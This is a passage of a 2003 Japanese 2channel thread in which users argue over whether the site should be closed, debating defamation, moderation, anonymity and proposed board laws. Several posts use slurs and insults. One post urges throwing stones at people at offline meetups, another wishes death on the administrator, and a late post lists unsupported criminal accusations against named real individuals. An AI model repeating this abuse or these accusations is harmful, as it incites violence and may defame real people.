129 :心得をよく読みましょう:03/05/28 17:11 ID:vQUWOFqP
アンチ内にも十分キチガイじみてる奴が
いるけどそこはどうなの?

130 :心得をよく読みましょう:03/05/28 19:08 ID:Dgw8SdUK
洗脳入った○チガイねえ・・・

いちメディアの偏った情報でしか2ちゃんを見れないような
やつの方がよっぽど洗脳されてると思うけどな。

街を見てみれ。子供もいれば老人もいる。男もいるし女もいる。
善人もいれば犯罪者もいる。金持ちもいれば貧乏もいる。
酒飲みもいれば下戸もいる。外交的な人もいれば内向的な人もいる。
頑固な人もいるし、すぐ騙される人もいる。
2chも同じだよ。いろんな奴がいる。いろんな奴が匿名で
立場とか関係無しにいろんなことを語り合う。
ついさっき街中ですれ違った人と本音で煽りあってるかもしれないんだぜ
でも、さんざん喧嘩しあってても次の日何食わぬ顔ですれ違ってるかも
しれないんだぜ?そこが面白いんじゃねえか。

で、こんな日本人の本音の縮図のような2ちゃんねるを閉鎖するだあ?
日本列島まるごと太平洋に沈めるようなもんだ。アホくせえよ。

131 :心得をよく読みましょう:03/05/28 19:17 ID:1ezFlSe0
>>130
お前は誹謗中傷ということの意味がわかってないようだな
それに批判要望してる人は2ちゃんを利用してるからこそのものだよ

132 :心得をよく読みましょう:03/05/28 19:20 ID:QrqW6mAO
ラウンジとか雑談するとこはたまに暇つぶしが出来ていいんだけど
専門板はアンチVS信者が常に戦っててキモイ

133 :コレでも2ちゃんを叩けるのか?:03/05/28 19:34 ID:mDWv/d14

http://www.zdnet.co.jp/news/0305/28/cjad_horikoshi.html


134 :心得をよく読みましょう:03/05/28 20:12 ID:D85dRIQO
>>122
確かに騒いでるだけと決め付けてるね。よくないね。
でも、いいたい事の本質じゃないのはわかるだろ?

騒ぐためのエネルギーを他に振り向けろといいたいわけ。

135 :心得をよく読みましょう:03/05/28 20:24 ID:Y7vDuPE3
>>129
俺の事だろうが
キチガイに対してはキチガイにふさわしい言葉使いで書いてるだけだ。
キチガイに丁寧な言葉を使う必要ないもんな。な。

>>130
街の中には色んな人が居るが
2chの中には、洗脳入った奴と、そうでない人の
大きく分けて二通りしか居ないな。
とても日本人の本音の縮図とは思えないねぇ〜。


136 :心得をよく読みましょう:03/05/28 20:28 ID:Dgw8SdUK
>批判要望してる人は2ちゃんを利用してるからこそのものだよ
まあ、確かに批判要望板は2ちゃんのサポセンのような存在だわな。
利用してて不満に感じる人がいるからこそ、だ。そこは正論だな。
利用してなくても、外部で荒らされた!ってことでここに来る人だっている。
でもさ、なんで荒らされたなら荒らしの対処法も聞かずに頭ごなしに
閉鎖しろ!なんだここは?PC関係の板に行けば荒らしのIPの抜き方を
親切に教えてくれる方だっている。で、ここの2つ下の規制情報板のように
荒らしが利用してるプロバイダの人に通報してもらえばいい。
犯罪予告の書込みがあったらIPは規制情報板に晒されてる。
本当に犯罪が起きて、それが2ちゃんつながりだとわかれば、
ひろゆきと運営側は警察に書込みのログとかIPを提供してる。
個人情報流されたら削除人さんが最優先で削除してる。
ここで閉鎖しろって言ってるやつ。いわば、「おまえんとこの車に欠陥が
あったせいで事故に遭ったぞ。骨折したよ。責任とっておまえの会社を
潰せよ!」って言ってるようなもんだ。必死で欠陥調べてリコール情報
だしたり、保険会社から事故の保険金が下りてるにもかかわらずだよ?
リコール対象外の車に乗ってて気に入ってる人もいるんだよ?
事故の裏側でこれだけの第三者が動いてるにもかかわらずよ?
あまりにも自己中心的だと思いませんか?閉鎖しろというのは。
>>134
禿同。いいこと言った。
長文連発スマソ。俺も他のところにエネルギー使ってきます(w

137 :心得をよく読みましょう:03/05/28 20:34 ID:Dgw8SdUK
>>135
おまえはどこを見て二通りしかいないなどと言えるのか。
よっぽどアンチvsシンパがひどい状況の板に行ったみたいだな。
教えろ。どこの板だ?

138 :心得をよく読みましょう:03/05/28 20:45 ID:vQUWOFqP
別に>>135に対して言ったわけじゃないんだが。
とりあえずあんたが差別主義者かつ全体主義者だということは分かった。

139 :心得をよく読みましょう:03/05/28 21:11 ID:vQUWOFqP
前言撤回。
>>135
やっぱりあんたがキチガイだ

140 :心得をよく読みましょう:03/05/28 22:18 ID:Y7vDuPE3
>>136-139
洗脳の入ったキチガイは、そうしてsageるんだよ(w

141 :心得をよく読みましょう:03/05/28 22:23 ID:l28ASw6H
>>135は1chの洗脳の入った人。

142 :心得をよく読みましょう:03/05/28 23:32 ID:MXCSBfPK
【2ch閉鎖しろ】批判要望のアンチ【ひろゆき死ね】
http://qb.2ch.net/test/read.cgi/accuse/1054120757/l50

ID:Y7vDuPE3は真性デムパのようです。
枯死するまで放置してあげてください。

143 :心得をよく読みましょう:03/05/29 03:29 ID:4097n6x/
age

144 :マイク ◆yrBrqfF1Ew :03/05/29 05:19 ID:cv3dzpk0
>>133
海外の人々にここの真実を見てもらいもんだな。

145 :マイク ◆yrBrqfF1Ew :03/05/29 08:13 ID:0f2A6Ul5
小倉さんが怒ってるよ。

146 : :03/05/29 08:51 ID:dYLUFsrb
明らかに狂ってる
今の状況は

147 :心得をよく読みましょう:03/05/29 09:02 ID:A+DuHu+8
無くなってもイイよ・・・ン

148 :心得をよく読みましょう:03/05/29 09:24 ID:cUn/Mm2h
閉鎖しろ

149 :心得をよく読みましょう:03/05/29 10:13 ID:LP7nO5aS
閉鎖するべき。そして罰当たれ

150 :心得をよく読みましょう:03/05/29 10:52 ID:aZ932Z3L
最近は、無くなった方がいいと思ってる。

151 :心得をよく読みましょう:03/05/29 12:39 ID:GyHkmLXI
閉鎖する必要はない。
管理人はガイドラインに
「ここでの話し合いはすべてゲームです」
と一言付け加えればよい。

152 :2chは害毒sa-zu:03/05/29 12:47 ID:DVJaoJlI
130<<2chも同じだよ。いろんな奴がいる。いろんな奴が匿名で
立場とか関係無しにいろんなことを語り合う。

そんなもん語り合う場はほかにな〜んぼでもあるやろ!
黒装束でマスコミに出て恥じさらす害奇知2chに
平気でカキコする人間も同じ害奇知脳細胞ってこった!
まぁ〜ここはそういう日本の害虫を集めるゴキブリホイホイみたいな
もんだな。
オフ会で集まってる害奇知集団がいたら、
みんなで「日本の恥じさらし!」と石をぶつけよう!


153 :心得をよく読みましょう:03/05/29 12:53 ID:ntAs1r5s
昨日のpooh放送時の負荷。
http://www.yakin.cc/graph/20030529/
www.2ch.netの負荷が凄い。

夜勤さん曰く、
「新しい訪問者を呼び寄せたようで、」

154 :心得をよく読みましょう:03/05/29 13:29 ID:/IIsxVCe
>>123
>>何か言うと、「そんな人は前からいました。」とか「そんなことは前からありました。」とか
>>「良い人もいれば悪い人もいる。そんなの当たり前」とか言って逃げる。
>アンチはそれを論破できてないわけだが。

「議論のすり替え」って言葉知ってるか?

155 :心得をよく読みましょう:03/05/29 13:33 ID:GyHkmLXI
>>130
>メディアの偏った情報
批判している人たちはメディアが悪く報道しているから批判しているわけではない。
ここを実際に見て批判しているのだ。

>いろんなやつがいる。
とてもそうは思えない。
まだまだ2ちゃんねるに悪い先入観をもっているひとは多いからである。
とりわけ、人生経験の深い文化人がね。

>立場とか関係無しにいろんなことを語り合う
それはいいのだが、そこに誹謗中傷を許容する論理はない。



156 :心得をよく読みましょう:03/05/29 16:17 ID:t+RSpp7F
アンチのカキコを見て思ったんだが2ちゃんを批判してる人って
よっぽど視野が狭いか無趣味だから特定の板しかまわらんよう
な人たちばっかりなんですな。



157 :心得をよく読みましょう:03/05/29 16:46 ID:9t3vMSoO
視野が狭いか無趣味というのは、それこと2chにひたりきってるやつだと思うが。
そもそもなんであっちこっちの板を見て回らなけりゃいけないの?
2chに関する、研究とか評論目的でもないのに。

自分の好みの板が荒らされたら、それだけで十分嫌になるだろう。ましてよその
板を見ればもっと鬱になるかも。

普段まともな板しか見ない人なら、かえって閉鎖なんていわないだろうけど。

158 :心得をよく読みましょう:03/05/29 17:47 ID:YGhlSkmY
>>155
>ここを実際に見て批判しているのだ。

その「ここ」ってのがどこを指すのかが問題なわけだが。
ニュー速か?ラウンジか?批判要望か?最悪か?
一部分だけを見て、全体がいいか悪いかを判断するな。
「偏った」見方しかできなくなるぞ。

>まだまだ2ちゃんねるに悪い先入観をもっているひとは多いからである。
>とりわけ、人生経験の深い文化人がね。

先入観だけで物事を判断するのが
「人生経験の深い文化人」のやる事か?
 実際には2ちゃんねら→でも2ちゃんは世間で「悪」と烙印を押されている
 →カミングアウトできない
こういう人間がたくさんいるかも知れない事を否定できるか?

>それはいいのだが、そこに誹謗中傷を許容する論理はない。

2ちゃんねる上でもちゃんと日本の法律は適用されるよ。
ネット上のあらゆるBBSと同じように、ね。

159 :心得をよく読みましょう:03/05/29 20:56 ID:bJ8Rou9o
まともな人間が2ちゃんなんかするわけないだろ

160 :心得をよく読みましょう:03/05/29 21:00 ID:QRw9vFzu
まともな一般人がここでアンチ活動するわけないだろ

161 :心得をよく読みましょう:03/05/29 21:11 ID:4XVeKGnf
最近は、つまんねぇ・・

162 :心得をよく読みましょう:03/05/29 21:14 ID:lJDL2wiO
同類叩いて何がおもしろいんだか・・・

163 :本7 ◆HON7/awDa. :03/05/29 21:24 ID:8qTxl3To
>>最近2chがつまらない  

必要以上に細分化に対してルールをしいた結果だと考えてます。
18歳になってパチンコしたり酒のんだり喧嘩したり単車転がしたりしても
アフォ臭いだけでした。リア厨の頃はルールからはみ出る事が刺激でした
し知らない事だらけで活き活きしました。成人もするといろんな事が許され
ます。枠にすっぽり収まって許された範囲にいる事が当然になってくると許
された範囲の遊びが無意識のうちに魅力的でなくなってるんですね。
カテゴライズとその趣旨の厳守を徹底した結果当たり前のような会話当たり
前にしかされ無くなったと言う事じゃないでしょうか

164 :心得をよく読みましょう:03/05/29 21:28 ID:Tof/k+Q1
2チャンって子供とかだと面白いと思うんだろうね

165 :心得をよく読みましょう:03/05/29 21:34 ID:lJDL2wiO
>>164
子供がやっちゃーまずいだろ。

166 :心得をよく読みましょう:03/05/29 21:36 ID:lJDL2wiO
>>162
これは東京kittyのことね。

167 : ◆IZUMIXFK1. :03/05/29 23:17 ID:i8WVJvL0
キttyっていつからアイドルに?

168 :心得をよく読みましょう:03/05/30 01:22 ID:2XWi7Dg1
age

169 :心得をよく読みましょう:03/05/30 01:39 ID:U9shpCL1
>>163
その例は明らかに犯罪ですね。
面白ければいいんだとかつまらなければ意味がないとか、
実に稚拙な考え方だと思います。
ルールからはみ出た行為は面白いから正当化される。

恐ろしいです。

170 :心得をよく読みましょう:03/05/30 03:10 ID:YWktcbDx
俺は祭りだとかいってアホやってる1部の奴が粛清されればいいよ。
ネット上ですら1人で何にも出来ない本当の屑どもがな。
だいたい2chっていう遊び空間提供してもらってるんだから
あんまり管理側に迷惑かけるなっつーのよ。

171 :155:03/05/30 03:22 ID:U9shpCL1
>>158
>「ここ」ってのがどこを指すのか
私はどのスレッドが個別にどうだとかいったことではなく、
誹謗中傷が放置される場所が問題だと言っているのです。
となると、2ちゃんねる全体のスレッドだということになってしまいますが・・・。
まぁ規制情報だけは除いておきましょうか。

> 実際には2ちゃんねら→でも2ちゃんは世間で「悪」と烙印を押されている
 →カミングアウトできない
>こういう人間がたくさんいるかも知れない事を否定できるか?
2ちゃんねらーも現実ではそれを隠しているってことでしょうか?
う〜ん、そもそもどうして2ちゃんねるが世間で「悪」と烙印を押されているのかを考えるべきですね。
それにあなたの言うには、文化人こそはその良い面を認めるだろう。でしょ?
だったらどうしてそういった発言力の強い人が見方にいるにもかかわらず
世間の評判が良くならないのでしょう?
マスコミのせいだけだと言い切れますか?

>2ちゃんねる上でもちゃんと日本の法律は適用されるよ。
>ネット上のあらゆるBBSと同じように、ね。
ならば誹謗中傷や荒らしは徹底的に削除すべきことはお分かりですね?
それが放置されているということは管理が不行き届きな証拠ではないでしょうか。
そこに私は2ちゃんねるの問題性を指摘し、管理人の責任を問うのです。

172 :心得をよく読みましょう:03/05/30 03:50 ID:dPZlINA8
>>171
別に評判が悪いのは2chだけでは無いわけで。
悪云々は2chだけの問題じゃない。

後、ついで。 逆に聞くが、何を持って誹謗中傷とする?
それとも、言葉遣いが汚いから削除、とか言い出すつもりかい?


173 :心得をよく読みましょう:03/05/30 03:54 ID:nf/Z7Y1v
批評や2ch内のみでの煽り合いは結構だが
地域や実在の人物・企業への誹謗中傷はやめとけってことだな

174 :心得をよく読みましょう:03/05/30 03:55 ID:L7XAizCc
2年くらい前の2chにタイムマシンで戻りたいです

175 :心得をよく読みましょう:03/05/30 03:56 ID:M4/ZNchV
東京kittyアンテナ(@w荒
http://tmp.2ch.net/test/read.cgi/lobby/1054229495/l50


ただいまキティ降臨!!!   ↓のありえない発言も飛び出す大惨事!!!
昨日のテレビで一躍有名人の彼のリアル書き込みは必見!!!!


257 名前:東京kitty ◆Q5djHAAgFU :03/05/30 03:49 ID:kIxg8IF5
それにしても雑魚どもは
よっぽど自分の容姿に自信がないらしい(@wぷ

176 :心得をよく読みましょう:03/05/30 04:27 ID:dPZlINA8
>>174
同じく。

・・・せめてひろゆきと隊長が切れてなかったらなぁ・・・。
世間様と自由との折り合いをもう少し上手く付けられていたんだろうけど。



177 :158:03/05/30 06:23 ID:t+v1H8Ea
>>171
とりあえず、アンタはまともに話ができる奴だな。

>2ちゃんねらーも現実ではそれを隠しているってことでしょうか?
これは人それぞれだろ。俺は隠してはないが。

>それにあなたの言うには、文化人こそはその良い面を認めるだろう。でしょ?
文化人に限らず、良い面を見出して有効活用している奴が少なくともここに一人。

>だったらどうしてそういった発言力の強い人が見方にいるにもかかわらず
>世間の評判が良くならないのでしょう?
カミングアウトできないから、になるんだが、これじゃループだな。

>マスコミのせいだけだと言い切れますか?
具体的なデータを出せずに断言してしまうが、すべて俺の感触なのでそのつもりで。
第一に、そもそもマスメディアでは良いニュースより悪いニュースのほうが取り上げられやすい。
第二に、最近の傾向としてネット関係のニュースは取り上げられやすい傾向にある。
2つの要因で、2ちゃんねるが必要以上に「悪」のイメージで伝わっている。
たくさんある(と俺は思う)小さな「良い事」を踏みにじってまで2ちゃんを閉鎖するべきだと思うか?

(続く)

178 :心得をよく読みましょう:03/05/30 06:50 ID:lW0+krmE
一定時間がたった過去ログは消して、まちBBS程度の管理が
できれば、問題ないのに、それができないならなくすべきだと思うな。

179 :158:03/05/30 06:50 ID:t+v1H8Ea
>>171 (続き)
>>2ちゃんねる上でもちゃんと日本の法律は適用されるよ。
>>ネット上のあらゆるBBSと同じように、ね。
>ならば誹謗中傷や荒らしは徹底的に削除すべきことはお分かりですね?

法律に触れるような内容(場合によっては法律に触れなくても)のカキコであれば、
2ちゃんでも可能な限り迅速に削除している。
管理者が判断できない場合もあるかも知れないが、それなら被害を受けた当事者が
訴訟を起こせばよいだけの話。

>それが放置されているということは管理が不行き届きな証拠ではないでしょうか。

放置されているカキコがあるのは合法だから(極論だけど)であって、2ちゃんねるだからではない。

>そこに私は2ちゃんねるの問題性を指摘し、管理人の責任を問うのです。

少なくとも「2ちゃんねる閉鎖」を目指すのは努力の方向が間違っているのでは。
 ・2ちゃんねるの規制を厳しくする
 ・日本の法律を厳しくする
この方向で動いてはどうか。

180 :心得をよく読みましょう:03/05/30 06:55 ID:dPZlINA8
>>178
ニュース系なら過去ログ消えても痛くは無いけど、専門板だと痛い。
過去ログの中に有用な情報が眠ってる事も少なく無いから。


181 :心得をよく読みましょう:03/05/30 07:01 ID:lW0+krmE
>180
それは、まちBBSのようにみみずんで見ればいいんじゃないの?
あそこは過去ログはみみずんを貼っているね。
今のように残すとずっと検索エンジンに引っかかって問題が大きくなるんじゃないか?
過去ログはロボットに収集されないようにすればいいことだが。

> ・日本の法律を厳しくする

>IPは個人情報。電子掲示板の管理の義務。
>非公開での削除依頼用のメールアドレス表示の義務。
>24時間以上メールに対応できない時は、臨時閉鎖の義務。
>誹謗中傷を知った時から、24時間以内に削除しないと同罪。
>などの電子掲示板法を、罰則付きで設立する必要
とかですかね?

182 :心得をよく読みましょう:03/05/30 07:04 ID:WxASVzIi
googleで 2ch -2chと検索してみ

183 :心得をよく読みましょう:03/05/30 07:18 ID:dPZlINA8
>>181
んな事したら政府・企業以外には掲示板が作れなくなる訳だが。


184 : :03/05/30 09:18 ID:5U784wTn
パッと見ニュース系は偏向が凄いね…ココだけ見てる子供が鵜呑みにしなきゃ良いね

185 :心得をよく読みましょう:03/05/30 09:36 ID:Gkrt9KJF
hiroyuki
sine

186 :心得をよく読みましょう:03/05/30 09:39 ID:cvBGxWFE
しろゆきは神!!!

187 :171:03/05/30 10:00 ID:U9shpCL1
>>179
まず、わたしは閉鎖しろなどとは一言も言ってませんのでご注意を。
残されている投稿内容が法的に問題ないように見えるのは侮辱罪や名誉毀損が親告罪だからです。
いや、あなたの文を見ているとそれは既にご承知のようですね。
ところで、法的に問題があるとされ削除されているものはなんでしょうか?
個人情報の漏洩は当然として、
これもやはり名誉毀損や侮辱罪にあたるとされるものではないでしょうか?
また、重複スレッドや荒らしも、必ずしも法に触れるわけではないのに削除されています。
したがって、法に触れるかどうかで削除しているわけではなく、
そこらへんの基準が実に管理人の私的な裁定で曖昧になってしまっているのです。
となると利用者は疑問を持つわけです。
管理人は利用者が泣き寝入りすることをいいことに、
いかにも都合の悪くなりそうな投稿だけを削除しているのではないか。
あくまで「ばかやろう!」の一言だって場合によっては怪しいわけです。
問題はその怪しい部分にどう対処するかです。
はたして、あなたの言うように訴訟が起きてしまってからで良いものでしょうか?
受身になっているとどんどんマスコミによる評判も悪くなり、
延いては政界への影響、新法の成立・重罰化もありえるでしょう。

188 :171:03/05/30 10:01 ID:U9shpCL1
>>179
現在2chはある意味電子掲示板全体の象徴になりつつあります。
そこでの管理体制は掲示板全体の管理者ならびに
管理者への利用者の捉え方・道徳観に少なからず影響しているといえます。
したがって、管理運営者側は、日本を代表する掲示板にまで
規模を拡大してしまった責任として、もっとも規範となる運営をしてもらいたいのです。
とても今の、事実上完璧な管理は不可能だから仕方がないというあきらめ半分の姿勢が
それらに適しているとは到底思えないのです。

したがってあなたが最終的に結論を出したように
・2ちゃんねるの規制(削除)を厳しくする か、それがいつまでもなされないのであれば
・日本の法律を厳しくし て、取り締まっていくしかないのだと、私も考えております。

189 : :03/05/30 10:41 ID:d0ZOwZC+
この人は法律を作る人なんですかね。

190 :心得をよく読みましょう :03/05/30 13:34 ID:uIzT5Vul
は〜、どっちでもいいや。

191 :心得をよく読みましょう:03/05/30 14:06 ID:tAX4rH/v
まぁ俺たちがどうのこうの騒ぐことではないな。
良識ある先人たちは着実に
技術的・法的対策を考えてくれている。

たまに名誉毀損で訴えればいいんですよ。
ほっほっほ

192 :心得をよく読みましょう:03/05/30 20:01 ID:2XWi7Dg1
管理人と運営陣を全て取り代えれば、閉鎖しなくていいけどな。

193 :心得をよく読みましょう:03/05/30 20:55 ID:wyTDUOUC
自分は閉鎖しても構わないと思ってるがな

194 :心得をよく読みましょう:03/05/30 21:38 ID:nmAqFgDv
>>192の本音キタ━━━━━━(゚∀゚)━━━━━━ !!!!!

即ち2ちゃんねるを自分のものにして
思う存分投稿者のIP抜き捲くって警察に通報、全員逮捕…
そしてネットの神として君臨すると…

195 :心得をよく読みましょう:03/05/30 22:34 ID:tAX4rH/v
管理人と運営人を完全に切り離せばいいけどな。

196 :心得をよく読みましょう:03/05/31 01:25 ID:HYA1CQKB


197 :心得をよく読みましょう:03/05/31 01:25 ID:HYA1CQKB
age

198 :158:03/05/31 01:47 ID:Nddk0I4n
>>187-188
>まず、わたしは閉鎖しろなどとは一言も言ってませんのでご注意を。
それは失礼。なんせスレタイがスレタイだけに、な。

俺も管理体制に関しては十分だと思っているわけではないよ。
現状、ボランティア頼みのところもあるしね。

でもまぁ、そんなに考えが違ってないようなのでこれにて消えます。

それでは。

199 :心得をよく読みましょう:03/05/31 04:47 ID:E8IdE2ur
2ちゃんねるを自分のものにして
思う存分投稿者のIP抜き捲くって警察に通報、全員逮捕…

したい!!!!!!!!


200 :心得をよく読みましょう:03/05/31 05:15 ID:KDrzL9rF
2ch内人物(コテハン)の叩きはどんな軽いものであっても全て削除対象になるのに、
2ch外人物の叩きは(同一レス内に)個人・私生活情報を伴わぬ限り削除対象にならない。

やっぱ変だよ、ここ。
個人の誹謗中傷に甘すぎる。
(叩きレスが)削除されたとしても、投稿者は一切処罰されないし。

201 :心得をよく読みましょう:03/05/31 05:23 ID:7iDBaP/7

今日も何処かで誰かが煽られる

するとこのスレに自然と人が集まります。

何でだろ〜?

202 :心得をよく読みましょう:03/05/31 05:56 ID:MnQTIb8T
>>200
「2ch内人物」「2ch外人物」
↑こういう書き方をしているから色眼鏡で2ちゃんを見ていると言われるんだ。

やり直し。

>>201
どこかに怒りをぶつけさせないと、それこそ社会の迷惑になりかねん。

203 :心得をよく読みましょう:03/05/31 09:19 ID:8FCddz3n
ほとんど管理されていないヤフー掲示板はキチガイの巣窟
けど人が少ないからあまり悪く言われることは無い
全く管理されてない上に人が多い2ちゃんねるは引き篭もり犯罪者予備軍の巣窟
バカがやり放題やってるのに管理側は見て見ぬふりをする、アク禁もたまにするだけ
結局、管理されてない、匿名性を持つやり放題の掲示板はキチガイ犯罪者の溜まり場になってしまう。
それに一般人まで影響されてキチガイになってしまう。こんな有害な掲示板はさっさと無くすべき

204 :心得をよく読みましょう:03/05/31 09:44 ID:k2Q1M/Jg
>匿名性を持つやり放題の掲示板はキチガイ犯罪者の溜まり場になってしまう。

2ちゃんねらーは人外だから放送禁止用語もOKですか?
というより、「匿名がいけない」なら何故貴方達の発言は匿名なのですか?


205 :心得をよく読みましょう:03/05/31 09:54 ID:8FCddz3n
>>204
放送禁止用語ってここは2chだし
何故貴方達の発言は匿名って言われても・・・・固定にでもなりゃいいのか

206 :心得をよく読みましょう:03/05/31 10:03 ID:6buAfuHW
>>204
匿名がいけないのではなくて、やり放題な部分がいけない。

放送禁止用語だから使ってはいけないということはない。(掲示板は放送ではない)
203は口ばかりであろう。
2ちゃんねるの悪い部分を明確にすることなく閉鎖したところで、
まったくもってなんの解決にもならない。
2ちゃんねるの悪い部分を、彼自身が利用してしまっている。

207 :心得をよく読みましょう:03/05/31 17:15 ID:1vP3QozM
そのために法という抑止力がある。
そのためにログを保存している。
必要十分ではないかね?

208 :心得をよく読みましょう:03/05/31 20:55 ID:HYA1CQKB
あめぞうで、ひろゆきのHNで
2ちゃんで金儲けしないって明言してたくせに
最近の広告バナー・アダルト広告の増加は何なんだよ!!
どうせ2ちゃんが無くなっても他に行くだけなんだから
当初言ってた自称ポケットマネーで継続できないんだったら
閉鎖しちまえよ!!


209 :心得をよく読みましょう:03/05/31 20:57 ID:9qzzmdKa
無理矢理●を買わせるのは許せない。

210 : ◆M.mUriD1X. :03/05/31 21:13 ID:TjBMSMhV
>>207
必要十分だとすれば、
なぜこれほど2ちゃんねるが内部からも外部からも批判を受けるのか疑問です。

211 :心得をよく読みましょう:03/05/31 21:18 ID:h62omeF+
もうホスト表示してよ(^_^;)さん

212 :よく:03/05/31 21:31 ID:jgOPvObg
 韓国や中国の悪口、被害者いじめ、差別にセクハラ・
ストーカーが大好きな人達のはけぐちの場になっているんだと思った。
弱者叩き?強い立場の人だの国へのバッシング言葉は
あんまり見ないな。弱い立場の人を
叩くのってすごく簡単でやりやすいことなんだけど。
やりやすいからやるんだろうね。
でも匿名掲示板でも管理や注意事項がきちっとしてる
ところはあまり暴言見ない。
ちゃんとしてないところは、利用者が少なくても
同種の暴言だらけ。
関係ない検索でもいちいちここか、真似たサイトにひっかかって
変な言葉が出てくるから不快。最近gooは発言まで
表示されないようだけどYahooとかではまだ表示されるし。
なるべき避けてても目に入ってしまう。
管理できないなら、HPや掲示板持つの変じゃないのかね。
Yahooもそうだけど、責任放棄してるところおかしい。
弱者へ八つ辺りしたい人自体は
制度ではどうにもならないけど、無責任なメディア
(サイト含む)はそれをあおってる気するし。
匿名だからって何書いてもいいわけじゃない、って
きちんと教わらずにネットするから失敗するのかも。
ネットも資格制にしたらどうか、なんていう人までいるけど。
ここだけなくなりゃいいって感じではないし。

213 :心得をよく読みましょう:03/05/31 22:33 ID:Cev94FbJ
>>212
禿同
2ちゃんの中で糞な板はきまってハングル、ヲチ、ニュー速などが挙げられるが
これらに共通することは自分より弱い立場の人を叩くことに快感を得ているってことだと思う
そもそも掲示板に求めているものが間違っているんだよね
ひろゆきは金儲けのためにとにかく人を集めようとしているけど、こういう所には目を向けないのかな
自分の置かれてる立場を再認識すべきだと思うね

214 : ◆M.mUriD1X. :03/05/31 22:49 ID:TjBMSMhV
本当に高度に進化した人間社会には、インターネットは無いものなのかもしれない。
あまりに価値観の異なった人間が否が応でも交わり、
場合によっては半永久的に意味のない闘争を強いられる・・・
時にそれは平和を脅かす存在にまで発展する可能性もある恐ろしい存在。
一国の文化でさえ互いに受け入れあうことは困難であるにもかかわらず、
すべてのものが、全世界が、縦横無尽に駆け回るのである。
現実でさえ、法やマナーの規範が一応の形成をなされているにもかかわらず、
それに反した行為は後を絶たない。
そして我々は最終的に、そういった互いに理解し会えない領域にまで介入しないよう一定の距離を保っているといえる。
これは人間が個であるべき不可侵な領域でもある。
が、ネットではそこにさえも介入してしまう恐ろしさがある。
あるいは、もし、その壁を人類が越えて地球規模で全体の価値観を統一できたとしたら、
そこに個としての生きがいはあるのだろうか、存在意義はあるのだろか。

215 :心得をよく読みましょう:03/05/31 23:28 ID:ZTNgDQ+N
http://that.2ch.net/test/p.i/wall/i

216 :心得をよく読みましょう:03/06/01 03:41 ID:haFF44xN
age

217 :心得をよく読みましょう:03/06/01 12:13 ID:boAsu/gx
11月に小田急電鉄に爆破予告をした男が3月に逮捕された。

警察は11月30日に男のIPを確認したらしいが、なんで逮捕に
ここまで時間がかかったんだ?

218 :心得をよく読みましょう:03/06/01 18:58 ID:haFF44xN

まだ、あめぞうの方が圧倒的に人が多かった頃
閑古鳥が鳴いてる状態だった2chを見たら
なぜか「ひろゆき、天才!」とか「ひろゆき、すごいよ!」とか
何も誉める理由もないのに誉める書き込みだらけだった。

あめぞうでは「あそこはおかしい」「変だ」ってみんなが書いていた。
あめぞうでは、自作自演して誉めているのがばれていた。

当時から「ひろゆき」と呼ばせる方針だったらしい。
普通なら「西村」か、名前を呼ばすにしても「博之」と漢字にするのが普通なのに。

おそらく本人か、周りの少数の人間でやってたんだろうとは思う。

219 :心得をよく読みましょう:03/06/01 20:34 ID:2OcaobY7
>>217
まじ?

220 :サゲやん:03/06/01 21:55 ID:ERa3yB8+
2チャンネルは見てるだけの人も多いだろう.
たいして社会性があるとは思えないけど、嵌ってる人に関しては危ない
自分の世界が狭くなる。
いろんな板を見ても結局はネットの中だけだからね.
未成年を間違った方向に進めるのはどうだろう?

221 :心得をよく読みましょう:03/06/01 23:30 ID:haFF44xN
まだ、あめぞうの方が圧倒的に人が多かった頃
閑古鳥が鳴いてる状態だった2chを見たら
なぜか「ひろゆき、天才!」とか「ひろゆき、すごいよ!」とか
何も誉める理由もないのに誉める書き込みだらけだった。

あめぞうでは「あそこはおかしい」「変だ」ってみんなが書いていた。
あめぞうでは、自作自演して誉めているのがばれていた。

当時から「ひろゆき」と呼ばせる方針だったらしい。
普通なら「西村」か、名前を呼ばすにしても「博之」と漢字にするのが普通なのに。

おそらく本人か、周りの少数の人間でやってたんだろうとは思う。

222 :心得をよく読みましょう:03/06/02 07:16 ID:wRE30kBZ
7月閉鎖説

223 :心得をよく読みましょう:03/06/02 13:21 ID:5EmZMVlD
閉鎖なんぞしたって無駄無駄無駄ぁ!どうせすぐに他の人間が第二、第三の
2ちゃんねるとなりうる匿名掲示板を作るに決まってる。そーなったら後は
また2ちゃん的匿名掲示板とその被害者とのイタチごっこが繰り返されるだけ。

発想の転換をするのだ。2ちゃんが嫌いだから閉鎖しろ、と考えるのではなく
2ちゃんが嫌いだから自分たちが率先して2ちゃんを変えてやるってな。

で、ひろゆきはそういった有志の面々に管理者としての肩書と権利を譲って
大人しくひっこんでろ、と。日本の天皇制みたいなもんか。

224 :心得をよく読みましょう:03/06/02 16:10 ID:r1qqGJAv
>2ちゃんを変えてやる
無理でしょ

2chが潰れるということは、2ch的な匿名大型掲示板を潰す方法が確立されるということ。
そうすれば、第二、第三の匿名掲示板に対してもそれを適用てきるから、
どんどん潰れていく度に、大型掲示板を作成しようという気になる人が減ってくる。

225 :心得をよく読みましょう:03/06/02 17:33 ID:LmO+l/1A
>>224
> >2ちゃんを変えてやる
> 無理でしょ
> 2chが潰れるということは、2ch的な匿名大型掲示板を潰す方法が確立されるということ。
> そうすれば、第二、第三の匿名掲示板に対してもそれを適用てきるから、
> どんどん潰れていく度に、大型掲示板を作成しようという気になる人が減ってくる。

とは言うけど、これを何とか利用して金儲けしようと企む香具師らが
世の中に五万といる事を忘れるな。

226 :心得をよく読みましょう:03/06/02 23:28 ID:jU0XZimV
そしてチャレンジャーひろゆきのおかげで、どこまで
だったらヤバそう(告訴→賠償)かのラインが見えつつある。

2ちゃんがなくなってもいくつかの「次」が出てくるでしょ。

227 :心得をよく読みましょう:03/06/02 23:53 ID:WLZrEekF
DHC裁判の判決が7月にでるらしい。噂だが。

228 :心得をよく読みましょう:03/06/03 00:02 ID:QNF85QaX
メルマガを見る限り7月31日に結審ってことかと。

http://that.2ch.net/test/read.cgi/event/998115928/283-285

229 :心得をよく読みましょう:03/06/03 00:24 ID:cYMCcQb1
とにかく巨大掲示板群など要らない

230 :心得をよく読みましょう:03/06/03 00:30 ID:vVttWaQf
この四年間はネット界の暗黒時代であった。

231 :心得をよく読みましょう:03/06/03 00:45 ID:ODNLnubf
他人の中傷は無視するくせに、自分の中傷は激高した西村。
あめぞうを潰した西村。
交通違反の潰し方という、違法サイトを作った西村。
利用者の個人情報を売った西村
18禁まがいの本を売って金儲けした西村。

暴力バーを経営していた中尾
自業自得だ。自分たちの撒いた糞に埋もれて氏ね

232 :心得をよく読みましょう:03/06/03 01:32 ID:fqqy2bt8
